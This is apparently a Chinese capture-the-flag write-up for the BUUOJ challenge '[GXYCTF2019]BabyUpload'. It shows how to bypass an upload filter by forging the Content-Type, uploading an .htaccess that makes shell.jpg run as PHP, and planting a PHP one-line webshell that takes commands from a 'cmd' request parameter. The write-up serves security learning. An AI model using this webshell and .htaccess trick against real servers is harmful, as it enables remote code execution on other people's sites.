0x00 题目介绍
参考网址:https://buuoj.cn/challenges#[GXYCTF2019]BabyUpload
0x01 上传检测
文件扩展名检测:后缀名不能包含ph,大小写均不可。
文件类型检测:content-type 只能是 image/jpeg
文件内容检测:过滤<?
0x02 详细思路
1.抓到上传包
2.重放包,发现不止后缀名检测,这里还有文件类型检测。
3.Content-type 修改为image/jpeg,继续重放包,发现上传成功。
但是只上传jpg格式远不能达到目的,这里通过burp爆破来获得可上传的后缀名!
我们发现.htaccess文件是可以成功上传的。
4.可利用.htaccess进行解析,先上传.htaccess文件,再上传jpg文件,将shell.jpg解析为php文件,下面就是对映解析代码!
<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
5.上传shell.jpg,添加PHP一句话木马,发现这里好像对<?进行了过滤。
6.使用js编写一句话进行绕过 <? 检测,得到上传地址。
<script language='php'>assert($_REQUEST['cmd'])</script>
7.之后,使用webshell连接工具,或者使用show_source()函数,即可得到flag!